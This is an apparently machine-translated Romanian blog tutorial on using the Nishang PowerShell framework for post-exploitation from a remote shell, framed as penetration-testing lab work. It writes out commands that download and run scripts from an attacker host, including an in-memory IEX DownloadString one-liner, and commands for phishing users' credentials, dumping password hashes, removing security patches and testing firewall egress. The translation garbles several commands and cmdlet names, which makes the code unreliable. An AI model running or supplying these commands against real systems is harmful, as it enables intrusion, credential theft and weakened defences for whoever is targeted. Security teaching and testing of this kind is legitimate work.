Nishang: un cadru Post-exploatare

am fost recent a face un test de penetrare extern pentru unul dintre clienții noștri, în cazul în care am primit acces shell la Windows Server 2012(WebServer intern stând în spatele unui IPS) cu privilegii Administrative. De asemenea, pare să aibă un Antivirus instalat pe sistem, deoarece tot ceea ce încărcam pe mașină era șters din mers. Am căutat toate posibilitățile de a rezolva această problemă și am decis să continui cu PowerShell. În momentul în care decideți să continuați cu PowerShell pentru exploatarea postării dvs., nu trebuie să vă faceți griji cu privire la scrierea propriilor scripturi pentru a câștiga jocul, deoarece există câteva opțiuni disponibile online. Unul dintre ei care mi-a plăcut foarte mult este Nishang. Deși am observat acest cadru chiar de la începuturile sale, nu am avut niciodată șansa să-l folosesc în testele de penetrare din lumea reală înainte de aceasta.

dacă întâlnești vreodată o situație în care trebuie să folosești Nishang în pentestele tale, atâta timp cât ai acces RDP la mașina de la distanță, viața ta este ușoară. Cu toate acestea, cum procedați atunci când RDP nu este disponibil și tot ce aveți este un shell la distanță? Acest articol vă servește ca o introducere în modul de utilizare Nishang atunci când aveți doar o coajă de la distanță.

ce este Nishang?

Nishang este un cadru open source cu câteva scripturi PowerShell puternice pe care le puteți utiliza în timpul fazei de exploatare post a testului de penetrare. Are multe scripturi clasificate în diferite categorii, cum ar fi colectarea de informații, scanarea, ridicarea privilegiilor etc. Acest articol va acoperi unele dintre aceste Scripturi în nici o ordine specifică. Restul scripturilor sunt lăsate cititorilor ca un exercițiu, deoarece Nishang este bine documentat, cu câteva opțiuni excelente de ajutor.

scopul principal al acestui articol este de a introduce Nishang și de a demonstra cum să utilizați Nishang atunci când aveți shell la distanță pe sistemul țintă.

lab Setup:

înainte de a începe să citiți articolul, există câteva puncte de remarcat.

  1. există puține sarcini utile în Metasploit pentru a obține o consolă PowerShell interactivă pe mașina victimei. Înseamnă că, atunci când le folosiți, veți obține un PowerShell la distanță, unde puteți rula cmdleturile și scripturile PowerShell de la distanță.
  2. Meterpreter nu pare să funcționeze bine cu PowerShell. Aceasta înseamnă că este posibil să nu obțineți o consolă PowerShell interactivă atunci când aveți shell Meterpreter și încercați să obțineți PowerShell de la acesta folosind comanda „powershell.exe ” pe shell-ul de comandă.
  3. este întotdeauna bine să înveți lucruri cu o coajă care are caracteristici limitate, astfel încât să obții cele mai bune rezultate din ceea ce înveți. Aceasta înseamnă că avem o coajă interactivă simplă obținută de la mașina de la distanță folosind Netcat.

instalare

următoarea figură prezintă un shell cu privilegii Administrative.

vom folosi acest shell pentru a utiliza Nishang și pentru a explora unele dintre scripturile sale.

Nishang este disponibil în Kali Linux în directorul „/usr/share/nishang/”. Alternativ, îl puteți descărca de pe următorul link.

https://github.com/samratashok/nishang

să începem.

când avem un shell la distanță, există puține opțiuni pentru a executa script-uri PowerShell. Cu toate acestea, mai întâi trebuie să decideți între următoarele două situații.

  1. doriți să descărcați scripturile pe disc și apoi să le executați.
  2. executați Scripturile fără a atinge discul.

merg cu prima opțiune din acest articol. Dacă sunteți interesat de opțiunea 2, am dat metoda la sfârșitul articolului.

încărcarea fișierelor pe mașina la distanță

următorul script cu 3 linii poate fi utilizat pentru a descărca scripturile dvs. pe mașina victimei.

$ client = obiect nou System.Net.WebClient

$targetlocation = „http://192.168.56.103/Check-VM.ps1”

$client. DownloadFile ($targetlocation, „Check-VM. ps1”)

descărcăm scriptul Check-vm. ps1 pe mașina de la distanță folosind scriptul de mai sus. Prin urmare, trebuie să creăm un fișier cu scriptul de mai sus ca conținut. Pentru a face acest lucru, trebuie doar să tastați următoarele comenzi unul câte unul pe shell-ul pe care l-am obținut.

echo $client = sistem de obiecte noi. Net .WebClient > script. ps1

echo $ targetlocation = „http://192.168.56.103/Check-VM.ps1” >> script. ps1

echo $client.DownloadFile ($targetlocation, „Check-vm. ps1”)>> script.ps1

acest lucru arată așa cum se arată mai jos.

odată ce, aveți script-ul gata pe sistemul țintă, rulați-l așa cum se arată mai jos, astfel încât script-ul va fi descărcat pe mașină la distanță.

powershell.exe-ExecutionPolicy Bypass-NonInteractive-fișier script. ps1

după cum putem vedea în figura de mai sus, scriptul Check-VM.ps1 a fost descărcat și este gata de acțiune. În mod similar, puteți descărca orice script pe care doriți.

Check-vm

primul script pe care îl vom încerca este Check-vm.ps1 pe care tocmai l-am descărcat. Acest script verifică dacă mașina țintă rulează în interiorul unui VM. Verifică diverse semnături pentru a determina dacă mașina rulează în interiorul unei mașini virtuale. De exemplu, dacă un proces numit vboxtray.exe rulează, ar putea fi virtual box. În mod similar, dacă se găsește următoarea intrare de registry, se spune că este virtual box.

făcând acest lucru manual ar putea fi supărătoare. Acest script automatizează întregul proces pentru a simplifica această sarcină.

pentru a rula acest script, trebuie să importăm mai întâi modulul și apoi să apelăm funcția „Check-VM”. Din moment ce suntem pe un shell de la distanță și este non-interactiv pentru a rula script-uri PowerShell, utilizați următorul One-liner pentru a face întregul proces la o singură lovitură.

Powershell.exe-exec Bypass-comandă ” & {Import-Module ‘C:UsersUserDesktoptempCheck-VM.ps1’; verifica-VM}”

așa cum se arată în figura de mai sus, script-ul a identificat-o ca Virtual Box.

Port-Scan

următorul script este Port-Scan. Acesta este unul dintre cele mai utile Scripturi ale Nishang. Odată ce aveți acces la o mașină internă, găsirea IP-urilor interne și scanarea acestora pentru porturi deschise este întotdeauna o parte crucială a exploatării post. Acest script face foarte ușor să găsiți IP-urile live ale unui interval specificat și să scanați porturile deschise.

rulați următorul script pentru a verifica IP-urile live între 192.168.56.101 și 192.168.56.105. După aceea, scanați și porturile deschise.

Powershell.exe-exec Bypass-comandă ” & {Import-Module ‘C:UsersUserDesktoptempPort-Scan.ps1’; Port-Scan-StartAddress 192.168.56.101-Adresa finală 192.168.56.105-ResolveHost-ScanPort }”

aici este măreția! Am găsit un controler de domeniu în rețeaua de laborator de mai sus.

Remove-Update

dacă doriți să eliminați orice patch-uri instalate pe mașina țintă, acest script este pentru tine. Remove-Update script vă ajută să eliminați o actualizare de la mașina țintă.

mai întâi, să verificăm lista remedierilor fierbinți instalate folosind cmdlet-ul „Get-Hotfix”.

acum, să încercăm să eliminăm a doua actualizare KB2534366. Rulați scriptul Remove-Update așa cum se arată mai jos.

Powershell.exe-exec Bypass-comandă ” & {Import-Module ‘C:UsersUserDesktoptempRemove-Update.ps1’; eliminare-actualizare KB2534366}”

după cum putem vedea în figura de mai sus, actualizarea a fost eliminată. Îl putem verifica încrucișat rulând același cmdlet încă o dată, așa cum se arată mai jos.

succes! Actualizarea a fost eliminată.

Invoke-CredentialsPhish

acesta este un script bun pentru a face phishing și pentru a primi numele de utilizator și parola victimei în text clar. Cea mai bună parte este că veți obține numele de utilizator și parola potrivite, deoarece această fereastră de phishing nu dispare până când victima nu introduce numele de utilizator și parola potrivite.

rulați următorul script în terminal.

Powershell.exe-exec Bypass-comandă ” & {Import-Module ‘C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1’; invoca-CredentialsPhish}”

aceasta va deschide o fereastră pe mașina victimei, așa cum se arată mai jos. Să introducem mai întâi un nume de utilizator și o parolă aleatorii.

după câteva secunde, această fereastră va reapărea și utilizatorul trebuie să introducă acreditările potrivite pentru a scăpa de fereastră. De data aceasta, să introducem acreditările corecte.

acum, să vedem ce sa întâmplat la terminalul nostru. J

avem numele de utilizator și parola introduse de victimă.

FireBuster

FireBuster este unul dintre scripturile foarte utile pentru a verifica porturile de ieșire care sunt deschise prin firewall. Acest script poate fi testat folosind un alt script numit FireListener, care acționează un ascultător pentru a testa conexiunea. Deoarece este în scopuri de testare, am început ascultător Netcat pe portul 5555 și 5556 pe mașină atacator, mai degrabă decât folosind FireListener. Acum, să executăm următorul script pentru a vedea dacă aceste porturi sunt permise prin firewall pentru a face conexiuni de ieșire.

Powershell.exe-exec Bypass-comandă ” & {Import-Module ‘C:UsersUserDesktoptempFireBuster.ps1’; pompier 192.168.56.103 5555-5556}”

după cum putem vedea în figura de mai sus, mașina victimă face conexiuni de ieșire prin porturile specificate.

să verificăm încă o rundă, dar de data aceasta, am blocat conexiunile de ieșire prin portul 5556 din Paravanul de protecție windows de pe mașina victimei.

să rulăm scriptul încă o dată și să observăm rezultatele.

frumos, putem vedea că portul 5556 nu este listat în ieșire de data aceasta.

Get-PassHashes

Dumping parola hashes de la mașina victimei este unul dintre lucrurile comune pe care le vedem în timpul exploatării post. Get-PassHashes aruncă hash-urile de parolă din mașina victimei. Acest modul necesită o coajă ridicată. Prin urmare, trebuie să ocolim UAC pe shell-ul de la distanță.

pe un shell ridicat, executați următorul script.

Powershell.exe-exec Bypass-comandă ” & {Import-Module ‘C:UsersUserDesktoptempGet-PassHashes.ps1’; Get-PassHashes}”

după cum putem vedea în figura de mai sus, avem toate hash-urile.

dacă doriți să aflați despre conceptele de bypass UAC, vă rugăm să parcurgeți următoarea carte scrisă de mine, unde este explicată în detaliu.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

dacă doriți să descărcați și să executați modulele menționate mai sus fără a atinge discul, puteți utiliza următoarea metodă.

powershell.exe-exec Bypass-comanda ” iEx (nou-obiect Net.WebClient).Descarcastring (‘http://192.168.56.103/Check-VM.ps1’); Verifica-VM”

drumul înainte

există multe alte scripturi utile disponibile în Nishang care pot fi utilizate în timpul testelor noastre de penetrare și le las cititorilor ca un exercițiu, deoarece conceptul din spatele utilizării oricărui alt script va rămâne același. Un alt set de instrumente PowerShell numit PowerSploit a fost discutat mai devreme pe blogul nostru, care poate fi găsit aici.

pentru a afla mai multe despre Nishang cele mai recente actualizări sale, vă rugăm să urmați blog-ul lor aici.

Lasă un răspuns

Adresa ta de email nu va fi publicată.